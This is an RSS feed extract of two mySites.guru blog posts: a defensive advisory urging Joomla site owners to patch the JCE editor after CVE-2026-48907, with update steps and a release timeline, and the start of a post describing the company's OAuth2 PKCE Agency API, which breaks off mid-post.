&lt;p&gt;That distinction changed how you triage it, and it lasted exactly one day. 2.9.99.5 was a “drop everything” release because it named an unauthenticated file upload. When it shipped, 2.9.99.6 read as a “do it today, but you are not racing a published exploit” release. Then, on 9 June, working exploit code for &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48907/&quot;&gt;CVE-2026-48907&lt;/a&gt; was published on GitHub. For sites already on 2.9.99.5, updating to 2.9.99.6 today is still the right pace. For any site still below 2.9.99.5, you are back to drop everything, because the flaw it patched now has a public exploit, and the fix is the same either way: go straight to 2.9.99.6.&lt;/p&gt;
&lt;h3&gt;Why a hardening release still earns a patch-today slot&lt;/h3&gt;
&lt;p&gt;It is tempting to file “no CVE of its own, just hardening” under “next maintenance window.” On most extensions, that would be a reasonable call. On JCE specifically, it is not, for three reasons.&lt;/p&gt;
&lt;p&gt;First, &lt;strong&gt;reach&lt;/strong&gt;. JCE is on more Joomla sites than any other editor. A hardening change to JCE touches a larger share of your estate than almost any other single update you will apply this month.&lt;/p&gt;
&lt;p&gt;Second, &lt;strong&gt;context&lt;/strong&gt;. This audit was triggered by a real unauthenticated file upload disclosed days earlier. When a developer says “I went looking for more after finding that one,” the sensible assumption is that the audit closed things worth closing, even if they have not been written up as individual advisories. Input validation hardening on an editor that handles file paths and uploads is not cosmetic. The same week this release shipped, we found &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;that unauthenticated upload being exploited on a live Joomla site&lt;/a&gt;, and on 9 June working exploit code for it was published on GitHub for anyone to run. That is exactly the kind of real-world escalation that makes a hardening pass worth applying on every install before anyone goes looking again.&lt;/p&gt;
&lt;p&gt;Third, &lt;strong&gt;cost&lt;/strong&gt;. The update is free, config-free, and has no functional changes for either Free or Pro. The risk of applying it is effectively zero. The only thing “wait and see” buys you is a longer window in which a site sits below the current security baseline of its most-installed extension.&lt;/p&gt;
&lt;h2&gt;How 2.9.99.6 fits with 2.9.99.4 and 2.9.99.5&lt;/h2&gt;
&lt;p&gt;Three releases in twelve days is unusual, and it helps to see them as one connected story rather than three separate scares.&lt;/p&gt;









































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;JCE 2.9.99.4 (28 May)&lt;/th&gt;&lt;th&gt;JCE 2.9.99.5 (3 June)&lt;/th&gt;&lt;th&gt;JCE 2.9.99.6 (8 June)&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Two named bug fixes&lt;/td&gt;&lt;td&gt;One named bug fix&lt;/td&gt;&lt;td&gt;Hardening audit&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Authentication&lt;/td&gt;&lt;td&gt;Authenticated only&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Unauthenticated&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;N/A (proactive)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;None&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48907/&quot;&gt;CVE-2026-48907&lt;/a&gt;&lt;/td&gt;&lt;td&gt;None at time of writing&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Trigger&lt;/td&gt;&lt;td&gt;External report&lt;/td&gt;&lt;td&gt;External report&lt;/td&gt;&lt;td&gt;Developer’s own audit&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Urgency&lt;/td&gt;&lt;td&gt;Patch this week&lt;/td&gt;&lt;td&gt;Patch now&lt;/td&gt;&lt;td&gt;Patch today&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The 2.9.99.4 release closed two authenticated-only issues in the file browser. The 2.9.99.5 release closed the serious one, an unauthenticated profile upload that could lead to arbitrary file upload. 2.9.99.6 is the developer’s intended follow-through: having found and fixed a real unauthenticated flaw, they audited the rest of the editor to harden it before anyone else went looking. That is the response you want to see from a maintainer after an emergency fix, and it is a point in JCE’s favour, not against it.&lt;/p&gt;
&lt;p&gt;If you have been tracking these releases, the practical upshot is simple. The target version moved several times in a matter of weeks. Whatever you patched to last, the current floor is now 2.9.99.11.&lt;/p&gt;
&lt;h2&gt;The JCE developer recommends mySites.guru by name&lt;/h2&gt;
&lt;p&gt;One detail in the 2.9.99.6 announcement is worth calling out, because it speaks directly to the problem this release creates for anyone running more than a couple of Joomla sites. After three updates in twelve days, the developer adds:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;JCE developer, on update fatigue&lt;/p&gt;&lt;div&gt;&lt;p&gt;Update fatigue is real. If you manage multiple sites you might consider services like BackupMonkey and mySites.guru, which assist in managing and updating multiple sites.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;That is the JCE developer, unprompted, pointing multi-site owners at mySites.guru in the same announcement that asks everyone to update again. It is a fair point. Three releases in twelve days is exactly the scenario where logging into administrator panels one at a time stops being viable, and where a central extension inventory and a mass updater earn their keep.&lt;/p&gt;
&lt;h2&gt;How to update JCE on a single Joomla site&lt;/h2&gt;
&lt;p&gt;For one site, the update is routine. Joomla’s built-in extension update tooling picks up 2.9.99.6 as soon as the JCE update server publishes it.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Log in to the Joomla administrator&lt;/li&gt;
&lt;li&gt;Go to &lt;strong&gt;System -&amp;gt; Update -&amp;gt; Extensions&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Check for Updates&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Select the JCE row&lt;/li&gt;
&lt;li&gt;Click &lt;strong&gt;Update&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If the update does not appear, check that JCE’s update site is enabled under &lt;strong&gt;System -&amp;gt; Update -&amp;gt; Update Sites&lt;/strong&gt;. For JCE Pro, you also need a valid subscription key entered under &lt;strong&gt;Components -&amp;gt; JCE Editor -&amp;gt; Options -&amp;gt; Subscription Key&lt;/strong&gt; for the Pro update channel to be reachable. JCE Free pulls updates from the Joomla extension feed and needs no key.&lt;/p&gt;
&lt;p&gt;After updating, hard-refresh the editor in a logged-in session to flush cached JCE assets. The version under &lt;strong&gt;Components -&amp;gt; JCE Editor&lt;/strong&gt; should read 2.9.99.6 once you reload.&lt;/p&gt;
&lt;h2&gt;How to find every Joomla site below 2.9.99.6 using mySites.guru&lt;/h2&gt;
&lt;p&gt;That is the easy case. The hard case is “I look after 40 client Joomla sites, JCE just shipped its third release in two weeks, and I have lost track of which version each site is on.”&lt;/p&gt;
&lt;p&gt;That is what mySites.guru is built for. Twice a day, a snapshot runs against every connected Joomla site and indexes every installed extension, including its exact version. You can answer the JCE 2.9.99.6 question in seconds instead of logging into 40 administrator panels in sequence.&lt;/p&gt;
&lt;p&gt;Open the &lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;extension search&lt;/a&gt; in your dashboard and look up the &lt;strong&gt;Editor - JCE&lt;/strong&gt; entry. You see every version of JCE across your portfolio, grouped by version number, with each site that runs it listed underneath. Anything below 2.9.99.6 needs the update. Sites already on 2.9.99.6, or which auto-updated overnight, are green.&lt;/p&gt;
&lt;p&gt;You can also separate JCE Free from JCE Pro if you run a mixed estate. Both editions ship the same release from the same update server, but Pro needs a subscription key, so it helps to know which sites sit in which group when you start chasing the stragglers, particularly the lapsed Pro subscriptions that stop receiving updates.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;mySites.guru subscribers: jump straight to the JCE inventory&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/f02a3f0cd799f8a68b2e207ecf0da3a4&quot;&gt;Open JCE Extension Search&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Lists every JCE install across your connected Joomla sites, grouped by version. Anything below 2.9.99.6 needs the patch. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;Push 2.9.99.6 across every affected site in one batch&lt;/h2&gt;
&lt;p&gt;Once you know which sites are behind, you do not patch them one by one. The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass extension updater&lt;/a&gt; lets you select every site running an outdated JCE and trigger the update across all of them at once.&lt;/p&gt;
&lt;p&gt;The mass update screen groups every JCE install by the version it can update to, with an “Apply to all” button per group and per-site controls when you want to be selective. Sites stuck on much older branches (2.6, 2.7, 2.8) get patched in the same sweep as ones already on the 2.9.99.x line. Behind the scenes, the platform calls each site’s connector, pulls the 2.9.99.6 package from JCE’s update server, installs it, and reports back with a pass or fail per site and a log entry against the site. Any site that is offline, firewalled, or running an outdated connector surfaces as a clear failure rather than a silent miss.&lt;/p&gt;
&lt;p&gt;This is the workflow the JCE developer is gesturing at when they mention update fatigue. Three releases in twelve days is three full rounds of “log in, check, update, verify” per site by hand, or three clicks of “Apply to all” across the estate.&lt;/p&gt;
&lt;h3&gt;Sites with auto-updates enabled were patched overnight&lt;/h3&gt;
&lt;p&gt;This is exactly the scenario automatic extension updates exist for. The mySites.guru auto-updater pushes releases like 2.9.99.6 to opted-in Joomla sites without anyone logging in. If your sites are enrolled, the update has been applied, the version is verified, and an audit entry is sitting in the activity log. If they are not, three JCE releases in two weeks is a strong argument to change that. The &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;Automatic Updates for Any Joomla Extension&lt;/a&gt; feature already covers JCE Free and JCE Pro through Joomla’s native extension update API. Turn it on and the next JCE release patches itself while you sleep. &lt;a href=&quot;https://manage.mysites.guru/&quot;&gt;Enable auto-updates from your dashboard&lt;/a&gt; or &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt; if you do not have an account yet.&lt;/p&gt;
&lt;h2&gt;How quickly should you patch JCE 2.9.99.6?&lt;/h2&gt;
&lt;p&gt;Patch today, on every Joomla site running JCE. There is no functional change in 2.9.99.6 that would justify holding back, the update is free and config-free for both Free and Pro, and the developer has explicitly labelled it strongly recommended for all sites.&lt;/p&gt;
&lt;p&gt;When this post first went out, the line here was that you were not racing a published exploit. Since 9 June, you are: working exploit code for &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48907/&quot;&gt;CVE-2026-48907&lt;/a&gt; is public on GitHub, and we had already found the flaw &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;being exploited on live sites&lt;/a&gt; before that. For any site still below 2.9.99.5, this is worth dropping a meeting for. For sites already on 2.9.99.5, “today” remains the right window: a hardening release on your most-installed editor, shipped days after a real unauthenticated file upload was found in the same component, is not the one to leave sitting in the queue.&lt;/p&gt;
&lt;p&gt;If you run scheduled overnight automation, the cleanest answer is to let the auto-updater handle it and check the activity log in the morning. If you patch manually, do the whole estate in one batch rather than picking sites off individually.&lt;/p&gt;
&lt;h2&gt;Edge cases and gotchas&lt;/h2&gt;
&lt;p&gt;The same caveats that applied to 2.9.99.4 and 2.9.99.5 apply here, because the update mechanism is identical.&lt;/p&gt;
&lt;h3&gt;Lapsed JCE Pro subscriptions&lt;/h3&gt;
&lt;p&gt;Both editions pull updates from JCE’s own update server, not the Joomla Extensions Directory. The catch for Pro is the subscription key. If a Pro install’s subscription has lapsed, 2.9.99.6 will not appear in that site’s update list and the site sits on an older version. After three releases in two weeks, lapsed Pro subscriptions are the most likely reason a site is still behind. Scan your mySites.guru extension report 48 hours after release for any JCE Pro install still below 2.9.99.6. Those are almost certainly the lapsed keys. The fix is to renew, or drop a temporary key into the site, pull the release, then sort the renewal afterwards.&lt;/p&gt;
&lt;h3&gt;Sites still on JCE branches older than 2.9&lt;/h3&gt;
&lt;p&gt;A JCE 2.7.x or 2.8.x install on &lt;a href=&quot;https://joomla3security.com/vendors/jce/&quot;&gt;a long-tail Joomla 3 site&lt;/a&gt; is far more exposed than this single release implies. 2.9.99.6 is for the current branch. Those older 2.7.x and 2.8.x lines never received the 2.9.99.5 unauthenticated file upload fix, let alone this hardening pass, and have years of unpatched issues on top. The right answer is to bring both Joomla and JCE up to date together. mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/migrating-to-joomla-4-when-using-mysites-guru/&quot;&gt;migration tooling&lt;/a&gt; helps triage which sites need the most work. If a client will not modernise, at minimum disable JCE on that site and fall back to TinyMCE or CodeMirror until it can be brought current.&lt;/p&gt;
&lt;p&gt;JCE 2.6.x is a special case. The developer confirms it is not affected by the unauthenticated profile upload in a default configuration, because the import path is blocked and no guest-accessible profile exists by default. It is still unsupported and may have other unpatched issues, so plan to migrate it regardless, but it does not need the same drop-everything treatment as the 2.7.x and 2.8.x lines.&lt;/p&gt;
&lt;h3&gt;For sites that cannot update: the free patch&lt;/h3&gt;
&lt;p&gt;2.9.99.6 needs PHP 7.4 and Joomla 3.10 or later. For sites that cannot meet that yet, the JCE developer has released a &lt;a href=&quot;https://www.joomlacontenteditor.net/downloads/editor/security-patch&quot;&gt;free patch package&lt;/a&gt; that closes the unauthenticated upload vulnerability in JCE 2.7.x, 2.8.x and 2.9.x. Treat it as a stopgap, not a fix: it closes the vulnerability only, without this hardening pass, it is provided as-is, and it does not clean a site that was already compromised. Back up and test on a copy first. End-of-life PHP or Joomla leaves the site exposed to other unpatched issues regardless, so the patch buys time to migrate, nothing more.&lt;/p&gt;
&lt;h3&gt;Custom Editor Profiles with broad filesystem access&lt;/h3&gt;
&lt;p&gt;If you previously set up an Editor Profile with broad filesystem access (the whole &lt;code&gt;images/&lt;/code&gt; tree, or worse), the principle of least privilege still applies after this update. A hardening release reduces the attack surface, but a profile with broad file permissions remains a high-value target for whatever the next JCE issue turns out to be. Review every profile under &lt;strong&gt;Components -&amp;gt; JCE Editor -&amp;gt; Editor Profiles&lt;/strong&gt; on each site and lock each one to the narrowest path that still lets its user group work.&lt;/p&gt;
&lt;h2&gt;Does this affect WordPress?&lt;/h2&gt;
&lt;p&gt;No. JCE is a Joomla-only editor extension. There is no WordPress build of JCE Pro or JCE Free, no shared codebase, and no equivalent release for WordPress. WordPress sites use the core block editor or TinyMCE, which have their own separate histories. If you run a mixed estate, the WordPress half is unaffected by this release. The Joomla half needs the update.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-06-03&lt;/strong&gt; 2.9.99.5 closes the unauthenticated upload that triggered the audit An unauthenticated editor profile upload leading to arbitrary file upload, tracked as CVE-2026-48907. This is the release that has to be on every site.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-06-08&lt;/strong&gt; 2.9.99.6 ships after four days auditing the whole editor The developer describes a comprehensive analysis and audit narrowing entry points and hardening input validation. No single named flaw and no CVE against this release: defence in depth, triggered by the unauthenticated upload found days earlier.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-06-09&lt;/strong&gt; Working exploit code for CVE-2026-48907 is published on GitHub When this post first went out we wrote that you were not racing a published exploit. That lasted exactly one day. For sites already on 2.9.99.5, 2.9.99.6 today is still the right pace; below 2.9.99.5, it is drop everything.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-06-16&lt;/strong&gt; CISA adds CVE-2026-48907 to its Known Exploited Vulnerabilities catalog Confirming real-world attacks on the flaw 2.9.99.5 closed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-06-18&lt;/strong&gt; 2.9.99.7 repairs a regression this release introduced Over-eager PHP-tag detection in 2.9.99.6 was blocking legitimate image and file uploads on some sites. If your uploads broke after updating, this is why.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-29&lt;/strong&gt; 2.9.99.10 fixes a file rename flaw With 2.9.99.8 on 2 July in between as a maintenance update that stops php, js and exe files being listed in the File Browser even where a profile allows them.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-09-15&lt;/strong&gt; 2.9.99.11 closes the 2.9 series The last release to add features to 2.9. JCE 3.0 is due within days, and 2.9 moves to maintenance, still receiving security fixes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-pro-2-9-99-6-released&quot;&gt;JCE Pro 2.9.99.6 release announcement&lt;/a&gt; - the developer&apos;s note on the audit and hardening pass&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/news/jce-security-update-and-a-free-patch-for-older-sites&quot;&gt;JCE security update and a free patch for older sites&lt;/a&gt; - the developer confirms active exploitation and offers a free patch for sites that cannot update&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/&quot;&gt;JCE Free/Pro 2.9.99.5 Security Update&lt;/a&gt; - the unauthenticated file upload (CVE-2026-48907) that triggered this audit&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-4-security-update/&quot;&gt;JCE Free/Pro 2.9.99.4 Security Update&lt;/a&gt; - the two authenticated-only file browser bugs from 28 May&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/support/changelog/editor&quot;&gt;JCE editor changelog&lt;/a&gt; - the developer&apos;s running changelog&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomlacontenteditor.net/downloads&quot;&gt;JCE downloads area&lt;/a&gt; - direct package downloads for JCE Pro subscribers&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/top-50-joomla-extensions/&quot;&gt;Top 50 Joomla Extensions&lt;/a&gt; - live ranking from the mySites.guru database, where JCE consistently ranks in the top two&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;How to update Joomla, Joomla extensions, WordPress and WordPress plugins from mySites.guru&lt;/a&gt; - the mass updater workflow used for rollouts like this&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;Automatic updates for any Joomla extension&lt;/a&gt; - enrol JCE in scheduled overnight updates so the next release patches itself&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For broader agency guidance on managing Joomla security and updates across a portfolio, see our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla agency handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>security</category><category>jce</category><category>extensions</category><category>vulnerability</category><enclosure url="https://mysites.guru/img/og/blog/jce-pro-2-9-99-6-security-update.png" length="0" type="image/png"/></item><item><title>How to Access Your mySites.guru Account Using our Secure API</title><link>https://mysites.guru/blog/mysites-guru-api/</link><guid isPermaLink="true">https://mysites.guru/blog/mysites-guru-api/</guid><description>The mySites.guru Agency API runs audits, backups and updates across every WordPress and Joomla site you manage, from your own scripts, over OAuth2 with PKCE.</description><pubDate>Mon, 08 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Last week we introduced the &lt;a href=&quot;https://mysites.guru/blog/manage-every-site-from-claude-desktop/&quot;&gt;mySites.guru MCP server&lt;/a&gt;, which lets you manage your whole WordPress and Joomla estate by talking to an AI client like Claude. A lot of you asked the obvious follow-up question: what is underneath it, and can I use that directly from my own code?&lt;/p&gt;
&lt;p&gt;The answer is yes. Underneath the MCP server is the &lt;strong&gt;mySites.guru Agency API&lt;/strong&gt;, a secure REST API that does everything the MCP server does, and it is the foundation we built the MCP server on top of. This post explains what the API is, how you connect to it securely, and why “secure by design” is a claim we can actually back up rather than a line on a marketing page.&lt;/p&gt;
&lt;p&gt;If you have ever wanted to pull your site list into your own dashboard, fire off audits from a cron job, or trigger a round of extension updates from a deploy script, this is the tool for that.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;span&gt;
      
      Beta Preview
    &lt;/span&gt;
    &lt;span&gt;Limited scope for now&lt;/span&gt;
  &lt;/div&gt;
  &lt;p&gt;
    The set of endpoints available today is small. We have shipped a focused starting point, we are watching usage and listening to feedback, and we will grow it from there. Treat what follows as the ground floor, not the finished feature.
  &lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;The short version&lt;/p&gt;
  &lt;p&gt;The mySites.guru Agency API is a REST API that exposes the same actions you take in the dashboard, including listing sites, reading audits and backups, and triggering audits, backups, snapshots and updates. It uses OAuth2 with PKCE, no static keys, with short-lived tokens scoped to your own sites. It is the same engine the MCP server runs on, so you can use the API on its own, the MCP server on its own, or both together.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;The API, the MCP server, and how they relate&lt;/h2&gt;
&lt;p&gt;Worth being clear about this up front, because it shapes everything else.&lt;/p&gt;
&lt;p&gt;The Agency API is the engine. It is a plain REST API: your code sends an HTTP request with a token, the API does the work and sends JSON back. The &lt;a href=&quot;https://mysites.guru/blog/manage-every-site-from-claude-desktop/&quot;&gt;MCP server&lt;/a&gt; we launched last week is a second front door bolted onto that same engine, designed so an AI client can drive it in natural language. Both share the same authentication, the same per-user scoping, and the same underlying actions. The MCP server is, in effect, a thin translation layer that turns “back up all my Joomla sites” from an AI client into the same operations the API exposes directly.&lt;/p&gt;
&lt;p&gt;That gives you three ways to use mySites.guru programmatically:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The API instead of the MCP server.&lt;/strong&gt; Write a script, a dashboard, or a scheduled job that talks straight to the REST API. No AI client involved.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The API alongside the MCP server.&lt;/strong&gt; Use Claude for ad-hoc, conversational work, and a scripted API integration for the repeatable, scheduled jobs. They share the same account and the same permissions model.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The API as a standalone service.&lt;/strong&gt; Wire mySites.guru into your own agency dashboard, a status page, or an internal tool, with no dependency on any AI tooling at all.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pick whichever fits the job. Nothing about the API requires you to use the MCP server, and nothing about the MCP server is doing anything the API could not.&lt;/p&gt;
&lt;h2&gt;What the API can do&lt;/h2&gt;
&lt;p&gt;The API exposes the same actions you already perform by hand in the dashboard, split into reading data and triggering work.&lt;/p&gt;
&lt;h3&gt;Reading data&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Your account profile and plan details&lt;/li&gt;
&lt;li&gt;Your full list of sites, with platform, version, PHP version and connection status, filterable by platform or tag&lt;/li&gt;
&lt;li&gt;A &lt;a href=&quot;https://mysites.guru/blog/mysites-guru-api-site-summary/&quot;&gt;one-call summary of every site&lt;/a&gt; with update and vulnerability counts, last snapshot, audit and backup times, and a needs-attention flag&lt;/li&gt;
&lt;li&gt;A single site’s full detail&lt;/li&gt;
&lt;li&gt;Audit results for a site, and the full detail of any individual audit&lt;/li&gt;
&lt;li&gt;A site’s backups and their status&lt;/li&gt;
&lt;li&gt;A site’s snapshots&lt;/li&gt;
&lt;li&gt;The extensions installed on a site&lt;/li&gt;
&lt;li&gt;The tags across your account&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Triggering work&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Start a new audit on a site&lt;/li&gt;
&lt;li&gt;Start a new backup&lt;/li&gt;
&lt;li&gt;Take a new snapshot&lt;/li&gt;
&lt;li&gt;Trigger extension updates&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The triggering endpoints return immediately and run the job in the background, exactly as they do when you click the button in the dashboard. You get a confirmation that the job was queued, not a response that blocks until a backup finishes.&lt;/p&gt;
&lt;p&gt;The important principle is that the API never grants more than you already have. Every action maps to something your account can already do. If you cannot see a site in the dashboard, no token issued to you can reach it through the API either.&lt;/p&gt;
&lt;h2&gt;How you connect: OAuth2 with PKCE&lt;/h2&gt;
&lt;p&gt;This is the part that earns the “secure” in the title, so it is worth walking through properly. If OAuth flows make your eyes glaze over, the headline is: no passwords leave your app, nothing long-lived is sitting around to be stolen, and you approve each connection yourself.&lt;/p&gt;
&lt;p&gt;The API uses the &lt;strong&gt;OAuth2 Authorization Code flow with PKCE&lt;/strong&gt;, and that is the only supported method. There are no static API keys to leak, no basic-auth passwords sitting in a config file, and no long-lived bearer tokens that work forever if they escape. If you have integrated with Google, GitHub or a bank’s API, the shape of this will be familiar.&lt;/p&gt;
&lt;h3&gt;Step 1: Register an API client&lt;/h3&gt;
&lt;p&gt;In your dashboard, go to &lt;strong&gt;Account then API Clients&lt;/strong&gt; and create a new client. You receive a &lt;code&gt;client_id&lt;/code&gt;. There is no &lt;code&gt;client_secret&lt;/code&gt;, because PKCE replaces it. You add the redirect URI (or URIs) your application will use, and you are done.&lt;/p&gt;
&lt;h3&gt;Step 2: Generate a PKCE pair&lt;/h3&gt;
&lt;p&gt;Before sending the user off to authorize, your application generates a one-time secret called a code verifier, and a hashed version of it called a code challenge:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;// Browser example using the Web Crypto API&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;const&lt;/span&gt;&lt;span&gt; verifier &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; base64url&lt;/span&gt;&lt;span&gt;(crypto.&lt;/span&gt;&lt;span&gt;getRandomValues&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;new&lt;/span&gt;&lt;span&gt; Uint8Array&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;32&lt;/span&gt;&lt;span&gt;)));&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;const&lt;/span&gt;&lt;span&gt; challenge &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; base64url&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  await&lt;/span&gt;&lt;span&gt; crypto.subtle.&lt;/span&gt;&lt;span&gt;digest&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;SHA-256&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;new&lt;/span&gt;&lt;span&gt; TextEncoder&lt;/span&gt;&lt;span&gt;().&lt;/span&gt;&lt;span&gt;encode&lt;/span&gt;&lt;span&gt;(verifier))&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You keep the verifier private and send only the challenge in the next step. This is what stops an intercepted authorization code from being useful to anyone but you.&lt;/p&gt;
&lt;h3&gt;Step 3: Send the user to authorize&lt;/h3&gt;
&lt;p&gt;Your application redirects the user to the authorization endpoint, asking for exactly the scopes it needs:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;GET&lt;/span&gt;&lt;span&gt; https://manage.mysites.guru/oauth/authorize&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  ?&lt;/span&gt;&lt;span&gt;response_type=&lt;/span&gt;&lt;span&gt;code&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &amp;amp;&lt;/span&gt;&lt;span&gt;client_id=&lt;/span&gt;&lt;span&gt;YOUR_CLIENT_ID&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &amp;amp;&lt;/span&gt;&lt;span&gt;redirect_uri=&lt;/span&gt;&lt;span&gt;https://yourapp.example.com/callback&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &amp;amp;&lt;/span&gt;&lt;span&gt;scope=&lt;/span&gt;&lt;span&gt;api:profile:read api:sites:read&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &amp;amp;&lt;/span&gt;&lt;span&gt;code_challenge=&lt;/span&gt;&lt;span&gt;BASE64URL_SHA256_OF_VERIFIER&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &amp;amp;&lt;/span&gt;&lt;span&gt;code_challenge_method=&lt;/span&gt;&lt;span&gt;S256&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &amp;amp;&lt;/span&gt;&lt;span&gt;state=&lt;/span&gt;&lt;span&gt;RANDOM_NONCE&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The user arrives at a mySites.guru consent screen, signs in if they are not already, and sees exactly which permissions your application is asking for. &lt;strong&gt;Your application never sees their password.&lt;/strong&gt; If they approve, they are sent back to your redirect URI with a short-lived authorization code.&lt;/p&gt;
&lt;figure&gt;
